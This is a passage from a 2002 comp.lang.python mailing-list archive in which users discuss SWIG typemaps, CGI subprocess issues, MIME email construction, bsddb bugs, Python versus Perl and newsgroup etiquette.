May 2002 16:27:38 -0400 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> Message-ID: <abugbq$mkm$1@panix1.panix.com> In article <3CE1C502.BF27501D at cosc.canterbury.ac.nz>, Greg Ewing <greg at cosc.canterbury.ac.nz> wrote: > >If buildings were built like computer programs, every building would be >unique, not quite like any other building ever built before, and using >experimental new materials and building techniques. And before we'd got >all the bugs out of one building, we'd be charging ahead with the next >one. Under those conditions, I don't think the building industry would >have much of a reputation for reliability in their products! To be fair, one can now purchase complete plumbing systems that are known to work. Or are you claiming that there has been no advance in the state of the art between machine language and Python? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From phlip_cpp at yahoo.com Sun May 26 13:50:40 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 26 May 2002 17:50:40 GMT Subject: ANN: PyUnitTestBrowser Message-ID: <acr79g$fka@dispatch.concentric.net> Pythonists: http://www.c2.com/cgi/wiki?PyUnitTestBrowser http://flea.sourceforge.net/browser001.zip I wrote this because... A> at work we have a hand-made proprietary test runner with no GUI that philosophically diverges from PyUnit, and... B> after hearing about the miracle of TestFirst for years and only using CppUnit once, I developed a (glowing) mental image of what graphic test runners presented that in no way paralleled the actual (dim) reality. My effort challenges Leo.py, a literate editor for Python that, sadly, has no awareness of unit tests. So to put them together, I allocated resources at work (me), to write a greenfield GUI test browser for our rig. Then I ported all of the relevant features back to PyUnit, out to LGPL instead of Private, creating PyUnitTestBrowser. Also, I discovered another missing feature about PyUnit (and the other *Units I have interviewed). All of them seem to have neglected to include their own unit tests in their distributions. This sentence refers to itself. >sigh< -- Phlip http://www.greencheese.org/LucidScheming -- Proud victim of the dreaded boomerang effect -- From jepler at unpythonic.net Wed May 1 15:57:04 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 1 May 2002 14:57:04 -0500 Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins In-Reply-To: <slrnad09uq.ca9.huaiyu@gauss.almadan.ibm.com> References: <mailman.1020221642.11325.python-list@python.org> <slrnad09uq.ca9.huaiyu@gauss.almadan.ibm.com> Message-ID: <20020501145703.B23172@unpythonic.net> On Wed, May 01, 2002 at 05:37:31PM +0000, Huaiyu Zhu wrote: > The example above was only meant to show that what John wanted can be > achieved without apply. But of course apply does more than that. What "more" does apply do? Is this not a complete implementation of 'apply' that works in any recent version of Python? def myapply(func, args, kw): func(*args, **kw) Jeff From tdelaney at avaya.com Fri May 10 02:27:04 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 10 May 2002 16:27:04 +1000 Subject: making postscript of pdf files Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A2E5@natasha.auslabs.avaya.com> > From: Jonathan Vanasco [mailto:jvanasco at hotmail.com] > > i'm hoping to write a python script to make some daily stats > stuff into a > (preferably) postscript file, or possibly a pdf or tiff > image. Just really > to get the text on there underneath a standard header. > > I could find 1,000,000 leads on how to do this in perl , but > i'd rather > attempt this in python first. > > Can anyone give me some tips/pointers? http://www.google.com/search?hl=en&q=python+postscript+generate Tim Delaney From francois.lepoutre at seriatim.com Fri May 10 11:26:51 2002 From: francois.lepoutre at seriatim.com (François Lepoutrre) Date: Fri, 10 May 2002 16:26:51 +0100 Subject: ODBC v. mxODBC References: <abepnd$gf6$1@news.ycc.yale.edu> Message-ID: <abglb8$fes$1@suaar1aa.prod.compuserve.com> I understand that the ODBC module does not handle dates and datetimes as proper dated types. mxODBC runs nicely with mxDateTime. This module has a lot to offer if you need to work upon the dates. If your application is a typical multimedia web-based thing, you can possibly do without it. If your app is the typical IS stuff (products, bills, clients, providers, employees,...) managing dates can be tricky. mx stuff is really worth the license cost... we would not use python if it did not exist! in case of doubts, try both... don wrote in message ... >Anyone prefer one module to the other? Why? -Don > > From andrew.gregory at npl.co.uk Fri May 31 05:40:45 2002 From: andrew.gregory at npl.co.uk (Andrew Gregory) Date: 31 May 2002 02:40:45 -0700 Subject: SWIG typemap to pass complex arrays into C++ Message-ID: <2830c89c.0205310140.198f9faf@posting.google.com> In a C++ header file (Borland BCC5.5) I have written #include <complex.h> typedef complex<double> dcomplex; // Function to return i'th element of complex array double getel (dcomplex *A, int i) { return real(A[i]); }; The function getel is illustrative only - not part of a real problem. I have written a SWIG typemap to allow complex number arrays to be passed: %typemap(python,in) dcomplex * { if (!PyList_Check($input)) { PyErr_SetString(PyExc_TypeError, "expected a list"); return NULL; }; int arrsize = PyList_Size($input); $1 = (dcomplex *)malloc(sizeof(dcomplex)*(arrsize+1)); for (int i=0; i<arrsize; i++) { PyObject *item = PyList_GetItem($input, i); if (PyComplex_Check(item)) $1[i] = dcomplex(PyComplex_RealAsDouble(item), PyComplex_ImagAsDouble(item)); else { free ((dcomplex *) $input); PyErr_SetString(PyExc_TypeError, "expected complex numbers in list"); return NULL; }; } } %typemap (python,freearg) dcomplex * { free ((dcomplex *) $input); }; SWIG (1.3.11u) runs ok. BCC5.5 compiles the wrapper file ok. But when I try to use the function getel from Python 2.2.1 I get the error message: TypeError: Type error. Expected _p_dcomplex I hand-coded my own wrapper and that worked, but can't make the typemap work. Any suggestions? Andrew. From greg at cosc.canterbury.ac.nz Sun May 12 22:45:20 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 13 May 2002 14:45:20 +1200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <mailman.1021109659.3133.python-list@python.org> <m3bsbm94nf.fsf@mira.informatik.hu-berlin.de> Message-ID: <3CDF28C0.E0362464@cosc.canterbury.ac.nz> "Martin v. Loewis" wrote: > > I just said it is "invalid XML", and that's what it is. Ask any XML > expert - they will all agree on the meaning of "valid" and "invalid" > in the context of XML. I think you'll find the XML expert will say that not being "valid" doesn't mean it's "invalid". XML uses the word "valid" in a rather unintuitive way. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From msoulier at nortelnetworks.com_.nospam Wed May 22 09:26:23 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 13:26:23 GMT Subject: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> <3CEAFDA2.E8B30B24@engcorp.com> Message-ID: <slrnaen76g.44l.msoulier@pmerd071.ca.nortel.com> On Tue, 21 May 2002 22:08:34 -0400, Peter Hansen <peter at engcorp.com> wrote: > > As others have noted, Python is the same speed as Perl, and the > use of C comes more from the desire to integrate with other > software than from a need for improving on Python's speed. Hmm. I love Python, but I have not found it as fast as Perl. It seems to run about the speed of Tcl 8.3, but Perl seems to leave it in the dust, as least for the comparisons that I've done. One of those was generating prime numbers, so it was highly CPU intensive operations. The Python and Tcl versions were about the same speed. The Perl was roughly 50-100% faster. Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From chouster at uclink4.berkeley.edu Fri May 31 17:17:34 2002 From: chouster at uclink4.berkeley.edu (Chris) Date: 31 May 2002 14:17:34 -0700 Subject: Unable to execute system program Message-ID: <79b54d28.0205311317.141f2204@posting.google.com> NOTE: Sorry if this appears twice, there was an error when I posted it the first time so i just went ahead and did it twice. Hi everyone. I'm trying to run an external script from my CGI script. When I do some tests it seems like it doesnt run at all because the output that SHOULD be coming out of the external script isnt. However when I run via the command line, it works fine... it takes about 60 seconds. When I run it via web test, it takes less than a second which strongly suggests it's not running ti at all. I programmed the script to drop a file with the output upon execution. Doing so from the command line does as it should but web testing results in nothing. Can someone tell me why it seems like it's not executing properly? NOTE: Html is my own lil module I wrote, that is working fine and I know it's not the problem. ===CODE=== if (os.fork() == 0): os.system("myCommand") #have faith that myCommand is correct. print "If I see this it should mean that the process was run." print Html.linebreak() #prints newline in HTML format os._exit(0) else: # controlling parent process while 1: # check if child has exited, but don't block (pid, status) = os.waitpid(-1, os.WNOHANG) if pid > 0: print Html.startHtml("doing request..."), \ "Process completed!", \ Html.linebreak(), \ Html.endHtml() break else: print Html.startHtml("Doing request..."), \ ".", \ Html.endHtml() time.sleep(1) ... ... Since my external script takes a minute or two, I think perhaps that I should add an extra time.sleep(60) statement on the line right before I call the actual execution of the external script. Or perhaps on the line after, I'm confused on this and am not sure if this is correct at all. Here is the output ---OUTPUT--- Please wait while we process your request. . . . If I see this it should mean that the process was run. Process completed! ------------- I dont know why it seems like it's not executing. Please help!! Chris From aahz at pythoncraft.com Fri May 3 11:49:20 2002 From: aahz at pythoncraft.com (Aahz) Date: 3 May 2002 11:49:20 -0400 Subject: Message queueing References: <mailman.1020407645.8165.python-list@python.org> Message-ID: <aaubi0$jpk$1@panix2.panix.com> In article <mailman.1020407645.8165.python-list at python.org>, jaf <jaf at lcsaudio.com> wrote: > >If I may be so bold as to plug my own software, I think you will find >that MUSCLE does a good job of implementing message-queues-over- >TCP. It has lots of other features as well, which I won't recount >here--but I will note that it is open source, and includes a Python >implementation of the client API. > >http://www.lcscanada.com/muscle/index.html This looks pretty cool. You should submit it to the Vault. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From ken at hotmail.com Fri May 31 20:57:21 2002 From: ken at hotmail.com (Ken) Date: Sat, 1 Jun 2002 10:57:21 +1000 Subject: file.readlines() question Message-ID: <ad960t$v6jb6$1@ID-49758.news.dfncis.de> Can someone give me example on how to use: file.readlines() with sizehint? (Say I want to find "guest434" from the list.) Thanks From bragiba at simi.is Thu May 16 07:30:38 2002 From: bragiba at simi.is (Bragi Baldursson) Date: 16 May 2002 04:30:38 -0700 Subject: Email module Message-ID: <abcf4a18.0205160330.3662e8a8@posting.google.com> How do I create a message that contains both text and attachemnts. In the example given on the module page it shows how to create a message with a bunch of photos in it. I would like to additionally be able to add some text to the message body. msg = MIMEBase('multipart', 'mixed') msg['Subject'] = 'Our family reunion' msg['From'] = me msg['To'] = COMMASPACE.join(family) msg.preamble = 'Our family reunion' # I WOULD LIKE TO ADD SOME PERSONAL NOTES INTO MESSAGE NOT AS A TEXT FILE ATTACHMENT # Guarantees the message ends in a newline msg.epilogue = '' # Assume we know that the image files are all in PNG format for file in pngfiles: # Open the files in binary mode. Let the MIMEIMage class automatically # guess the specific image type. fp = open(file, 'rb') img = MIMEImage(fp.read()) fp.close() msg.attach(img) From chris at cmb-enterprises.com Mon May 6 01:53:50 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 06 May 2002 01:53:50 -0400 Subject: Python vs. Perl, which is better to learn? References: <df30afd4.0204292111.31e5914a@posting.google.com> <chris-4E0B1A.01281230042002@corp.supernews.com> <f0fd5987.0204300105.51529004@posting.google.com> <chris-FA912A.00104606052002@corp.supernews.com> <3CD60E05.D9D8C1A6@engcorp.com> <m3lmaxuacu.fsf@chvatal.cbbrowne.com> Message-ID: <chris-90CE30.01535006052002@corp.supernews.com> In article <m3lmaxuacu.fsf at chvatal.cbbrowne.com>, Christopher Browne <cbbrowne at acm.org> wrote: > Outside of that, I'd suggest that a lot of the problem comes from Perl > having been a "hot, in-language" attracting a lot of bad programmers. > > "If Ada became the hot, in-language you would see a lot more bad code > in Ada." > -- Thaddeus L. Olczyk <olczyk at interaccess.com>, comp.lang.C++ > > Substitute Python for Ada and it still remains truth... Exactly. You can write bad code in any language. On the other hand, you can write really good, robust, readable, maintainable code in Perl. Programming is about 99% concepts and 1% syntax, if that much even. A poorly written Python program that can be easily read is still poorly written. From frr at easyjob.net Wed May 15 14:57:51 2002 From: frr at easyjob.net (Fernando Rodríguez) Date: Wed, 15 May 2002 20:57:51 +0200 Subject: how to write function that returns function References: <mailman.1021418371.7547.python-list@python.org> Message-ID: <ojb5eucqco1chv989nl1cosghujjqlm25l@4ax.com> On Tue, 14 May 2002 17:18:17 -0600, "Bjorn Pettersen" <BPettersen at NAREX.com> wrote: >> From: Paul Graham [mailto:spam at bugbear.com] >> >> I am not a Python expert, and I'm hoping someone >> can tell me how in Python to write a function >> of one argument x that returns a function of one >> argument y that returns x+y. > >It's bad form to ask for help on your homework problems, after all *YOU* >are the one who is supposed to learn something... True, but personally I consider far more irritating this pedantic attitude that assumes that _all_ questions must be homework assignments. This is unfortunately common in comp.lang.scheme and comp.lang.lisp. Let's keep it away from comp.lang.python. FYI: http://www.bugbear.com/bio.html ----------------------- Fernando Rodriguez From robin at jessikat.fsnet.co.uk Sun May 12 14:45:32 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Sun, 12 May 2002 19:45:32 +0100 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <GCEDKONBLEFPPADDJCOECEIBDBAA.whisper@oz.net> <mailman.1021103664.20500.python-list@python.org> <wa+NxjASoO38EwWU@jessikat.fsnet.co.uk> <m3g00y94zj.fsf@mira.informatik.hu-berlin.de> <ymTNuIAkgS38EwUV@jessikat.fsnet.co.uk> <j4adr5e1dt.fsf@informatik.hu-berlin.de> Message-ID: <0f5cAWAMhr38Ewmr@jessikat.fsnet.co.uk> In article <j4adr5e1dt.fsf at informatik.hu-berlin.de>, Martin v. L?wis <loewis at informatik.hu-berlin.de> writes >Robin Becker <robin at jessikat.fsnet.co.uk> writes: > >> I already knew that in fact it seems to be the encoding flag that >> determines things. I think fileencoding is used for possible conversion >> of the file into the required encoding. Thus both >> gvim --cmd="set encoding=utf8" aaaa.txt >> gvim --cmd="set encoding=utf8" aaaa.txt > >Did you mean to use fileencoding in one of these lines? > yes exactly. >> display a utf8 file, aaaa.txt, correctly, but the latter has actually >> converted the characters to latin1 (at least for me). > ....... >Still, if you put 'fileencoding=' *inside* the file, it won't work, in >any released version of vim. That's a bug though, and hopefully fixed >some day. > >Regards, >Martin yes I found that out. -- Robin Becker From john at spamfree.co.uk Tue May 28 14:16:32 2002 From: john at spamfree.co.uk (John Moore) Date: Tue, 28 May 2002 18:16:32 GMT Subject: Dealing with OLE error References: <1103_1022598643@news.nildram.co.uk> <ad0gqb$tajog$1@ID-100555.news.dfncis.de> Message-ID: <1103_1022609792@news.nildram.co.uk> On Tue, 28 May 2002 14:03:56 -0400, Michael Kelly <mkelly2002 at adelphia.net> wrote: > There are utilities that decode these > hex HRESULT codes. I'm sure you can > find one on microsoft.com web site. > If you have any MS compilers there's > probably already one installed on your > system. > Thanks, I'll do this if I can't get any further with the aim of somehow getting this information directly out of the COM object. John From steve at ferg.org Wed May 15 19:58:44 2002 From: steve at ferg.org (Stephen Ferg) Date: 15 May 2002 16:58:44 -0700 Subject: Keyboard-aware Tkinter listbox? References: <b16e4ef7.0205150607.5c82dc7f@posting.google.com> <mailman.1021474976.16484.python-list@python.org> Message-ID: <b16e4ef7.0205151558.c937ae1@posting.google.com> Thanks. Now that I have some place to start, I can probably do it. :-) From cliechti at gmx.net Thu May 30 17:55:05 2002 From: cliechti at gmx.net (Chris Liechti) Date: 30 May 2002 23:55:05 +0200 Subject: Avoiding `exec', how to? References: <oqofexh214.fsf@carouge.sram.qc.ca> <20020530221832.L17248@prim.han.de> <mailman.1022792988.25468.python-list@python.org> <Xns921EF1C72CE13cliechtigmxnet@62.2.16.82> Message-ID: <Xns921EF3AB2ED8Acliechtigmxnet@62.2.16.82> Chris Liechti <cliechti at gmx.net> wrote in news:Xns921EF1C72CE13cliechtigmxnet at 62.2.16.82: > moddict = __import__(__name__).__dict__ > defs = {'a':1, 'b':2} > moddict.update( dict([ (k,v) for k,v in defs.items() if k[0]!='_']) ) > del defs, moddict, k, v if works also as a one liner, if you don't want the side effect of list comprehensions and no newbees ;-) >>> __import__(__name__).__dict__.update( dict(filter(lambda (k,v): k[0]!='_', defs.items())) ) >>> del defs chris -- Chris <cliechti at gmx.net> From garth at deadlybloodyserious.com Thu May 9 21:21:36 2002 From: garth at deadlybloodyserious.com (Garth T Kidd) Date: 9 May 2002 18:21:36 -0700 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? Message-ID: <4c877253.0205091721.6f675f81@posting.google.com> Alex Martelli's discussion about shelve being broken (or, at least, surprising) reminded me shelve is occasionally quite broken because the underlying technology is broken. Specifically, shelve uses anydbm by default, which on many systems uses bsddb by default, and bsddb is quite broken, and has been since Python 1.5 and maybe earlier: http://sourceforge.net/tracker/?group_id=5470&atid=105470&func=detail&aid=408271 The easiest solution is to deprecate bsddb and take it out of the list of contenders for anydbm. I've put up a patch for both: http://sourceforge.net/tracker/?func=detail&aid=553108&group_id=5470&atid=305470 Existing databases will still be fine, because whichdb.whichdb will figure it out and load bsddb. New databases, however, will avoid bsddb. Frankly, I'd rather people use dumbdbm (slow) than bsddb (unreliable), but I'd like to hear what everyone else thinks. Regards, Garth. http://www.deadlybloodyserious.com/Python/ From magni2k at uni.de Mon May 13 03:57:47 2002 From: magni2k at uni.de (Manuel) Date: Mon, 13 May 2002 09:57:47 +0200 Subject: Help with __name__ == '__main__' Message-ID: <IPENLMIKBNNCIDLKHHAJCECGCAAA.magni2k@uni.de> Hi, Thanks a lot for the help from Skip Montanaro and Andreas Jung! But now a new question. This is the complete code and I am not able to call the function so, that it only prints out e.g. the gethost list. How can I handle this in __name__ == '__main__'! Or is there another possibility to handle this more elegant or simpler? Thanks for help and hints! The function call should be in this type: python filelist.py serverlist.txt and optional: python filelist.py serverlist.txt gethost or python filelist.py serverlist.txt getprotocol getpath Thanks for help and hints! filelist.py import sys, string, urlparse class ListFile: def __init__(self, filename): self.file = open(filename, 'r') def __getitem__(self, i): line = self.file.readline() if line: return line else: raise IndexError def __getattr__(self, name): return getattr(self.file, name) def getall(self): for line in self.file: parseurl = urlparse.urlparse(line) getprotocol = parseurl[0] gethost = parseurl[1] getpath = parseurl[2] print getprotocol, gethost, getpath, def getprotocol(self): for line in self.file: parseurl = urlparse.urlparse(line) getprotocol = parseurl[0] print getprotocol def gethost(self): for line in self.file: parseurl = urlparse.urlparse(line) gethost = parseurl[1] print gethost def getpath(self): for line in self.file: parseurl = urlparse.urlparse(line) getpath = parseurl[2] print getpath, if __name__ == '__main__': line = ListFile(sys.argv[1]) line.getall() line.getall() line.getprotocol() line.gethost() line.getpath() From s.schwarzer at ndh.net Wed May 15 09:36:00 2002 From: s.schwarzer at ndh.net (Stefan Schwarzer) Date: Wed, 15 May 2002 15:36:00 +0200 Subject: Best book for python? References: <ue4h4se7khug08@news.supernews.com> <JetE8.45011$Yt.2084615@read1.cgocable.net> Message-ID: <3CE26440.58B95F49@ndh.net> Hello Mark Mark Nenadov wrote: > > I need to get up to speed on python so am looking for a book. > > Quite a few at amazon to choose from. > > Any recommendations? > > I would recommend "Programming Python 2nd Edition" by O'Reilly. I consider "Programming Python" a great book but would like to point out that IMHO it is not the right choice to learn Python initially. This _might_ work after reading the tutorial in the Python distribution but I would still recommend an introductory book as "Learning Python" first. The disadvantage of most Python books that they still deal with version 1.5.2 can be remedied somewhat by Andrew Kuchling's fine series "What's new in Python x?": http://www.amk.ca/python/2.0/ http://www.amk.ca/python/2.1/ http://www.amk.ca/python/2.2/ Stefan From whisper at oz.net Sun May 19 17:36:55 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 19 May 2002 14:36:55 -0700 Subject: Regular Expressions and RFC 822 In-Reply-To: <F39F5sulWdmAusw14sE00004d25@hotmail.com> Message-ID: <GCEDKONBLEFPPADDJCOEKEGPDDAA.whisper@oz.net> import re pat = r"([A-Za-z -]*):(.*)" cpat = re.compile(pat) result = cpat.match("Return-Path: <python-list-admin at python.org>") for group in result.groups(): print group >>> Return-Path <python-list-admin at python.org> David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of alex gigh > Sent: Sunday, May 19, 2002 14:04 > To: python-list at python.org > Subject: Regular Expressions and RFC 822 > > > Hi; > > I am trying to write a mail server in Python and I found out that > I can use > regular expressions and then grouping: > > "For example, an RFC-822 header line is divided into a header name and a > value, separated by a ":". This can be handled by writing a regular > expression which matches an entire header line, and has one group which > matches the header name, and another group which matches the > header's value. > " > > Can someone help me by showing me an example of how I could do this... > > Many Thanks > > Alex > > _________________________________________________________________ > Get your FREE download of MSN Explorer at > http://explorer.msn.com/intl.asp. > > > > -- > http://mail.python.org/mailman/listinfo/python-list From aleax at aleax.it Wed May 1 05:07:02 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 09:07:02 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> <mailman.1020240425.31988.python-list@python.org> Message-ID: <WeOz8.36332$8D3.1056495@news1.tin.it> Laura Creighton wrote: ... > All of this was personal. You can't hide behind 'other men' or 'other > Americans'. Francois Pinard, Cliff Wells, Steve Holden, Tim Delaney, > I, and I forget who else who helped are not going to sit around idlely > while you turn c.l.p into a 'sarcasm friendly' place. We will fight > you over this. This is an extremely interesting and to my mind > important social experiement, and you aren't going to find many people > who will support you in your efforts to turn this place into just > another newsgroup. Actually, _I_ wouldn't mind it if there was a way to discourage people from starting Yet Another Round of language-change proposals or whines and complaints against some aspect of the language they have not carefully considered. "I don't understand why 'split' should be a method of the joiner rather than of the sequence" is one thing, and, even though often explored in the past, deserves courteous response if one has the time and patience to repeat it (or pointing to a FAQ, etc). But too often you see the very different attitude of "I _don't like_ the fact that 'join' is a method of the joiner rather than of the sequence", all the way up the scale of increasing arrogance to "I *know* that 'join' SHOULD be a method of the sequence rather than of the joiner and thus you should change the language to suit my whims". It does seem to me that such arrogance is Excessively Annoying Behavior, and if sarcastic and aggressive reactions could discourage it, then I wouldn't mind. I don't know if they can, as much of it comes from people who can't be bothered to read previous messages (obviously: they ignore arguments that have been made over and over again!), and thus don't know about previous flamewars either. _On a given thread_, however, _once reasonable and informative responses have been given and wilfully ignored_, I can see the case for lashing out (I can also see the opposite case as you present it -- problem with being a Libra, this 360 degrees vision:-). And my instincts are surely to go for the jugular in such cases (while my time-management reasonable self tells me I don't have TIME for another flamewar -- but then, I don't have time to remind people for the 1000th time that performance must be measured, not guessed at, yet I do...:-). I don't think it's at all reasonable to unleash attacks against proposals you disagree with, just because you do disagree. But I just hope I'll be in one of my time-management-necessitated periods of abstinence from this group next time some newbie arrogantly and querulously teaches us why Python should have [a] explicit block delimiters, [b] join as a method of all the possible sequences and not of joiner-objects, [c] hygienic macros, [d] booleans -- oops forget I mentioned the latter, since they're now BDFL-blessed cruf^H^H^H^H brilliant innovations...:-). Alex From tjreedy at udel.edu Wed May 1 10:56:26 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 01 May 2002 14:56:26 GMT Subject: os.environ.copy()['COPY_HUH'] = "not really" References: <20020430152022.I17488@unpythonic.net> <20020430184231.C30307@ibook.distro.conectiva> <mailman.1020257642.13347.python-list@python.org> Message-ID: <umTz8.11647$n7.787519@bin8.nnrp.aus1.giganews.com> "Jeff Epler" <jepler at unpythonic.net> wrote in message news:mailman.1020257642.13347.python-list at python.org... > On Tue, Apr 30, 2002 at 06:42:31PM -0300, Gustavo Niemeyer wrote: > > >>> copy = os.environ.copy() > > >>> print copy.__class__ > > os._Environ > > > > It's not a real dictionary, but an os._Environ class. Copying it > > creates instances of the same class, and that class' behavior is > > to insert the item in the environment. I belive this should be > > avoided in this case, returning a true dictionary from copy(). I'll > > send a patch to SourceForge, if you haven't done so yet. > > I was tempted to send a patch to SF, but I was worried that there was > some "good" reason for this feature. Maybe it's just an accident > waiting to be fixed after all. If you have a patch prepared, by all > means submit it. I would normally expect a 'copy' to be a copy. Perhaps os._Environ should have a .dict() method (if is does not now) to do the conversion. From cliechti at gmx.net Fri May 10 21:00:29 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 03:00:29 +0200 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> Message-ID: <Xns920B1EE5D2091cliechtigmxnet@62.2.16.82> "John Roth" <johnroth at ameritech.net> wrote in news:udol0hpg2g9gf7 at news.supernews.com: > "Martin v. Loewis" <martin at v.loewis.de> wrote in message > news:m3wuucbjlb.fsf at mira.informatik.hu-berlin.de... >> Erno Kuusela <erno-news at erno.iki.fi> writes: >> >> > | You mean, non-english-speaking people are prevented from using > FORTRAN >> > | and C? Can you name someone specifically? I don't know any such > person. >> > >> > i don't know such people either. but since many people only know >> > languages that aren't written in ascii, it seems fairly probable > that >> > they exist. >> >> I really question this claim. Most people that develop software (or >> would be interested in doing so) will learn the latin alphabet at >> school - even if they don't learn to speak English well. > > The trouble is that while almost all of the languages used in the > Americas, Australia and Western Europe are based on > the Latin alphabet, that isn't true in the rest of the world, and > even then, it gets uncomfortable if your particular language's > diacritical marks aren't supported. You can't do really good, > descriptive names. > > And good, descriptive names are one of the bedrocks of > good software. true, but how i'm supposed to use the nice chinese module which uses class names i can't even type on my keyboard? [...] > 3. There must be a complete set of syntax words in each > supported language. That is, words such as 'and', 'or', 'if', 'else' > All such syntax words in a particular module must come from the > same language. uff, this sounds evil to me. this means i could write "wenn" for an "if" in german etc.? that would effectively downgrade python to a beginners only language because the diffrent addon modules you find on the net are just a chaotic language mix, unusable for a commercial project. many modules on the net would not work in your language or if they would at least execute you would still unable to look at the sourcecode, extend it, understand it (ok it would solve the obfuscated code questions that show up from time to time ;-). we like open source, don't we? but if there were such many language variants it became very difficult to work together. if you say now that if one intends to make a module public, one could aways choose to write it in english, i don't think thats a good argument. many modules start as a private project, a quick hack etc. but then they're made public. look at Alex's post for more good arguments... > 4. All syntax words are preceeded by a special character, which > is not presented to the viewer by Python 3.0 aware tools. Instead, > the special character is used to pick them out and highlight them. > The reason for this is that the vocabulary of syntax words can then > be expanded without impacting existing programs - they are > effectively from a different name space. goodbye editing with a simple editor... of course you would also like to introduce the possibility to write from the right to left and vertical. i can see your good intention but i doubt that this leads to a better programming language. chris -- Chris <cliechti at gmx.net> From starx at pacbell.net Sun May 5 14:45:58 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 5 May 2002 18:45:58 GMT Subject: Choose Your Own Adventure References: <ab3avs$84e$1@nets3.rz.RWTH-Aachen.DE> Message-ID: <Xns920577DE41F29RASXnewsDFE1@130.133.1.4> [posted and mailed] Philipp Lenssen || Sun 05 May 2002 06:10:15a: > The Python port of QML (Quest Markup Language) interpreter is now > published in final stage: > http://questml.com/quests/ > > QML, held in XML, enables you to create multiple-choice quests (like > adventures, or help systems) in easy and cross-browser fashion. > Feedback welcome! Looks interesting, even if I don't really like CYOA (choose your own adventure) all THAT much =). Anyway, if you have not alreay done so, you should hook up with the Interactive Fiction (text-adventure) community, as the games that you are creating are a subset of this kind of work and there are interested people there. Oh, and there's already one other programming language (or similar) for creating this kind of game, called 'Adventure Gamebook', it can be found here: http://www.ingold.fsnet.co.uk/adbook.htm This is a different style of program than your system: it looks like it compiles to bytecode and runs in an interperter just like python and other IF languages (And it can use Inform (one of the standard languages for writing regular text-aventure zork-like games)[1] to turn into bytecode that can run on any Infocom Z-Macine[2] interperter). We[3] even had a mini-compatition a few years ago on this kind of CYOA game, information on that can be found here: http://www.suite101.com/article.cfm/4746/60974 There are two newsgroups for this artform, which you would be adviced to make a notice on. There is 'rec.games.int-fiction' which is for players and discussing games that have been made, and 'rec.arts.int-fiction' (originally made for hypertext and annexed =), which is for game authors, systems programmers, and all concerns about building and maintaing games, languages, interperters, and so on. Your place. =) http://www.firthworks.com/roger/parsifal/index.html ... is a grand list of all the important sites in IF, and anyone that's ever done anything for the community that has a web site. It can be hard to find stuff if it's on a person's page and you don't know who made it, but it has an easy listing of our Library Alexandria (if-archive, and the old one did 'burn down' -), and various faqs, one of which will point you to IFmud, which is basically a giant IF IRC channel with MUSH objects. Ye-local-IF-community-err-informationist-ly yrz =) (Also Ye-resident-python-advocate-#2 on r.games.roguelike.devel, so go figure =) ~~~@: Useless footnotes: [1] The other one is called TADS, or the 'Text Adventure Development System'. This is personally my choice, TADS over Inform is sort of like Python over Perl, or, ya know, language over line noise. IMVHO. Inform's also more popular. Like perl. =) [2] Possibly the first virtual macine ever created, this was used to port Infocom's 40-odd games to 30-odd platforms and only really have to write system specific code for each platform once. In the modern era, the limits of this system are being stretched -so- far, that Inform writers are now starting to move over to something called Glulx as a compilation target, to allow for multimedia and huge, unlimited internal memory. TADS, meanwhile, has addopted an HTML interperter extention. [3] I join this community every now and then. Play a few games, talk a lot, dream about making games, make a few rooms, eventually wander off again. =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From paul at prescod.net Wed May 15 12:00:26 2002 From: paul at prescod.net (Paul Prescod) Date: Wed, 15 May 2002 09:00:26 -0700 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> <3CDAA5A5.D4077E5C@fnal.gov> <abeate$2fo$1@panix1.panix.com> <3CDAB85B.C49BABD9@fnal.gov> <abedn5$9tc$1@panix1.panix.com> <mailman.1020973101.22346.python-list@python.org> <3CDAF2A7.2DADEB14@fnal.gov> Message-ID: <3CE2861A.365879B1@prescod.net> "David J. Ritchie" 